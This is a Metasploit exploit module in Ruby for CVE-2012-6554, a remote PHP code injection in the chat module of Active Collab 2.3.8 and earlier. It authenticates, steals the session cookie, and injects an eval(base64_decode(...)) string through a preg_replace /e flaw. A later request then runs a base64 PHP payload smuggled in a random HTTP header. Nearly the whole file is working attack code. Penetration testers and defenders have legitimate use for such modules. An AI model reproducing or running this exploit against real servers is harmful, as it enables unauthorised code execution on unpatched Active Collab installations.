##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info={})
    super(update_info(info,
      'Name'           => 'Active Collab "chat module" Remote PHP Code Injection Exploit',
      'Description'    => %q{
        This module exploits an arbitrary code injection vulnerability in the
        chat module that is part of Active Collab versions 2.3.8 and earlier by
        abusing a preg_replace() using the /e modifier and its replacement
        string using double quotes. The vulnerable function can be found in
        activecollab/application/modules/chat/functions/html_to_text.php.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'mr_me <steventhomasseeley[at]gmail.com>',  # vuln discovery & msf module
        ],
      'References'     =>
        [
          ['CVE', '2012-6554'],
          ['OSVDB', '81966'],
          ['URL', 'http://www.activecollab.com/downloads/category/4/package/62/releases'],
        ],
      'Privileged'     => false,
      'Payload'        =>
        {
          'Keys'        => ['php'],
          'Space'       => 4000,
          'DisableNops' => true,
        },
      'Platform'       => ['php'],
      'Arch'           => ARCH_PHP,
      'Targets'        => [['Automatic',{}]],
      'DisclosureDate' => '2012-05-30',
      'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('URI',[true, "The path to the ActiveCollab installation", "/"]),
        OptString.new('USER',[true, "The username (e-mail) to authenticate with"]),
        OptString.new('PASS',[true, "The password to authenticate with"])
      ])
  end

  def check

    login_path = "public/index.php?path_info=login&re_route=homepage"
    uri = normalize_uri(datastore['URI'])
    uri += (normalize_uri(datastore['URI'])[-1, 1] == "/") ? login_path : "/#{login_path}"

    cms = send_request_raw({'uri' => uri}, 25)

    uri = normalize_uri(datastore['URI'])
    uri += (normalize_uri(datastore['URI'])[-1, 1] == "/") ? 'public/assets/modules/chat/' : '/public/assets/modules/chat/'

    chat = send_request_raw({'uri' => uri}, 25)

    # cant detect the version here
    if (cms and cms.body =~ /powered by activeCollab/)
      # detect the chat module
      if (chat and chat.code == 200)
        return Exploit::CheckCode::Detected
      end
    end
    return Exploit::CheckCode::Safe
  end

  def exploit
    user = datastore['USER']
    pass = datastore['PASS']
    p = Rex::Text.encode_base64(payload.encoded)
    header = rand_text_alpha_upper(3)
    login_uri = normalize_uri(datastore['URI'])
    login_uri += (normalize_uri(datastore['URI'])[-1, 1] == "/") ? 'public/index.php?path_info=login' : '/public/index.php?path_info=login'

    # login
    res = send_request_cgi({
      'method'    => 'POST',
      'uri'       => login_uri,
      'vars_post' =>
        {
          'login[email]'      => user,
          'login[password]'   => pass,
          'submitted'         => "submitted",
        }
      }, 40)

    # response handling
    if res and res.code == 302
      if res.get_cookies =~ /ac_ActiveCollab_sid_[a-zA-Z0-9]+=(.*); expires=/
        acsession = $1
      end
    elsif res and res.body =~ /Failed to log you in/
      print_error("#{rhost}:#{rport} Could not login to the target application as #{user}:#{pass}")
    elsif res and res.code != 200 or res.code != 302
      print_error("#{rhost}:#{rport} Server returned a failed status code: (#{res.code})")
    end

    # injection
    iuri = normalize_uri(datastore['URI'])
    iuri += (normalize_uri(datastore['URI'])[-1, 1] == "/") ? 'index.php' : '/index.php'
    iuri << "?path_info=chat/add_message&async=1"
    phpkode = "{\${eval(base64_decode(\$_SERVER[HTTP_#{header}]))}}"
    injection = "<th>\");#{phpkode}</th>"
    cookies = "ac_ActiveCollab_sid_eaM4h3LTIZ=#{acsession}"
    res = send_request_cgi({
      'method'  => 'POST',
      'uri'     => iuri,
      'headers' =>
        {
          'cookie'  => cookies
        },
      'vars_post' =>
        {
          'submitted'                  => "submitted",
          'message[message_text]'      => injection,
          'message[chat_id]'           => "1",
          'message[posted_to_user_id]' => "all"
        }
    }, 25)

    euri = normalize_uri(datastore['URI'])
    euri += (normalize_uri(datastore['URI'])[-1, 1] == "/") ? 'public/index.php' : '/public/index.php'
    euri << "?path_info=/chat/history/1"

    # execution
    res = send_request_cgi({
      'method'  => 'POST',
      'uri'     => euri,
      'headers' =>
        {
          header    => p,
          'cookie'  => cookies
        }
    })
  end
end
